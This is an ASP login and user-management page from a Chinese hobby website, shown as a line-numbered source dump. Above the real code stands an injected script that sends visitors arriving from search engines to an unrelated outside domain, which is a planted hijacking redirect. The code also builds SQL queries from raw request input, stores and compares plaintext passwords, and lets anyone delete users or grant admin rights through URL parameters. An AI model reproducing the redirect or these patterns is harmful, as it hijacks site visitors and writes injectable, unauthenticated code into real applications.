d:\wwwroot\wuchunhua\zhuce\chkpwd.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<!--待添加:登录记住我 全文登录只用了session没用cookies"-->
002:
003:
<!--#include file="conn.asp"-->
004:
<!--#include file="inc/function.asp"-->
005:
<!--#include file="inc/md5.asp"-->
006:
<!--链接和function是设置密码 -->
007:
008:
<%
'退出模块:如果request的out是ok就是退出,那么设置全部为空,返回index。asp
009:
if request("out")="ok" then
010:
Session("Passed")=false
011:
Session("username")=""
012:
Session("id")=""
013:
response.redirect "index.asp"
014:
end if
015:
'关闭模块
016:
sub rs_conn_close
017:
rs.close
018:
set rs=nothing
019:
conn.close
020:
set conn=nothing
021:
end sub
022:
'验证码验证模块
023:
if request("send")="ok" then
024:
if (int(session("safecode"))=int(request("confirm"))) then '如果验证码正确的话,去验证用户名
025:
set rs=server.createobject("adodb.recordset")
026:
sql="select * from users where username='" & request("username") & "'"
027:
rs.open sql,conn,1,3
028:
if rs.eof then
029:
call rs_conn_close '验证数据库用户名模块
030:
response.write "<script>alert('用户名不存在!');history.back();</script>"
031:
response.end
032:
else
033:
034:
'如果md5的提交的request的password不是rs数据库里面的password那么显示不正确。
035:
'原文,我添加and检查即可 和明文也不相同才显示密码不正确:if md5(request("password"))<>rs("password") then
036:
if md5(request("password"))<>rs("password") and request("password")<>rs("password_mingwen") then
037:
call rs_conn_close '验证数据库密码模块
038:
response.write "<script>alert('密码不正确!');history.back();</script>"
039:
response.end
040:
041:
else '全部正确后写入服务器端变量
042:
Session("Passed")=true
043:
Session("username")=rs("username")
044:
Session("admin")=rs("admin")
045:
end if
046:
end if
047:
else
048:
response.write "<script>alert('验证码不正确!');history.back();</script>"
049:
response.end
050:
end if
051:
end if
052:
'删除模块
053:
if request("delete")="ok" then
054:
dim delrs,delsql
055:
set delrs=server.createobject("adodb.recordset")
056:
delsql="select * from users where username='"&request("username")&"'"
057:
delrs.open delsql,conn,3,3
058:
delrs.delete
059:
delrs.update
060:
delrs.close
061:
set delrs=nothing
062:
response.redirect "userlist.asp"
063:
end if
064:
'提升管理员
065:
if request("admin")="ok" then
066:
dim adminrs,adminsql
067:
set adminrs=server.createobject("adodb.recordset")
068:
adminsql="select * from users where username='"&request("username")&"'"
069:
adminrs.open adminsql,conn,3,3
070:
adminrs("admin")=1
071:
adminrs.update
072:
adminrs.close
073:
set adminrs=nothing
074:
response.redirect "userlist.asp"
075:
end if
076:
%
>
077:
<html>
078:
<head>
079:
<title>用户登陆及管理系统</title>
080:
<style>
081:
div {
082:
text-indent: 400px;/*在style里面:所有这些div的首行文本缩进400px 每个div的高度30px*/
083:
height: 30px;
084:
}
085:
</style>
086:
<script language="javascript" type="text/javascript" src="check.js"></script>
087:
<!--*微软特色主题,内容是sky1011*/-->
088:
089:
<!--mstheme-->
<link rel="stylesheet" type="text/css" href="../_themes/sky/sky1011-106.css"><meta name="Microsoft Theme" content="sky 1011, default">
090:
</head>
091:
<body>
092:
093:
<%
094:
if IsEmpty(Session("Passed")) then
095:
Session("Passed")=false
096:
end if
097:
if Session("Passed")=false then
098:
%
>
099:
100:
101:
<form name="form" method="post" action="index.asp?send=ok">
102:
<!--session如果合格就post,send就是验证码,如果ok就要验证其他" -->
103:
104:
<div style="padding-left: 80px;">用户登陆</div><br />
105:
<div>用户名: <input type="text" name="username" /></div>
106:
<div>密 码: <input type="password" name="password" /></div>
107:
<div>验证码: <input type="text" name="confirm" maxlength="4" size="10">
<%
GetSafeCode()
%
></div>
108:
<div style="padding-left: 25px;padding-top: 10px;"><input type="submit" value="登录" title="自动通知管理员" onclick="return chkfields()" alert("弹出对话框") /> <input type="button" value="注册" onclick="window.location='useradd.asp'" /> <input type="button" value="忘记了密码"onclick="window.location='userfind.asp'" /></div>
109:
</br></br></br></br>
110:
所有登录和注册成功和发帖都会自动通知管理员存入数据库!登录即可post数据到/注册/index.asp?send=ok 本页面传递包括用户名字name和ip+时间在subject和日期+时间在contents里面
111:
</form>
112:
<%
113:
end if
114:
'关闭数据库
115:
conn.Close
116:
117:
'释放对象
118:
Set conn = Nothing
119:
%
>
120:
121:
<!--下面是留言板块:输入名字点击登录了,成功后执行liuyan的addnote的动作。。。: 将上面的内容都存入 自动不能编辑 textarea没有value属性 不能以/开头,../就是父级目录 ./就是当前目录 用server。mappath也失败,必须用conn的链接语句 才能定义另外一个目录的db数据库 否则无法引用-->
122:
<%
'数据库连接变量定义
123:
'前面的conn。asp已经定义了 ,不能用:Dim conn
124:
125:
'初始化数据库连接
126:
DB="../liuyan/Board/database/BOARD.mdb"
127:
Set conn = Server.CreateObject("ADODB.Connection")
128:
conn.ConnectionString = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Server.MapPath(DB)
129:
'打开数据库连接
130:
conn.Open
131:
%
>
132:
133:
<!--不用此链接:</form><form action="../liuyan/board/addnote.asp" method="post" name="book"> -->
134:
<table cellSpacing="1" cellPadding="4" width="680" align="center" bgColor="#000000" border="0">
135:
<tr bgColor="#ebebeb">
136:
<td width="20%" align=right>留言主题:
<%
=now()
%
> </td>
137:
<td >
138:
139:
<%
userip = Request.ServerVariables("REMOTE_ADDR")
140:
shijian=time()
141:
riqi=now()
142:
temp="ip是" & userip & "日期" & riqi &"时间" & shijian
%
>
143:
<input type=textarea name="subject" size="102" maxlength=50 value=
<%
=temp
%
> >
144:
<!--input box选择text就不会显示时间,只能日期 now会只有日期而没有时间 -->
145:
146:
<font color="#FF0000">*必须填写(
<%
=subjectmaxlength
%
>字以内)</font></td>
147:
</tr>
148:
<tr bgColor="#ebebeb">
149:
<td width="20%" align=right>留言内容:<br><font color=red>(
<%
=maxlength
%
>字以内)</font></td>
150:
<td><textarea name="Contents" rows="7" cols="66" style="overflow:auto;">通知管理员:我点击了/注册/登录,时间
<%
=now()
%
></textarea></td>
151:
<!--textarea可以直接使用时间=now()的asp会显示出来,不用赋值value 因为textarea没有此功能-->
152:
153:
<tr bgColor="#ebebeb">
154:
<td colSpan="2"><input type="submit" value="提交管理员" name="Submit">
155:
</td>
156:
</tr>
157:
</table>
158:
</form>
159:
160:
<%
161:
'关闭数据库
162:
conn.Close
163:
164:
'释放对象
165:
Set conn = Nothing
166:
%
>
167:
168: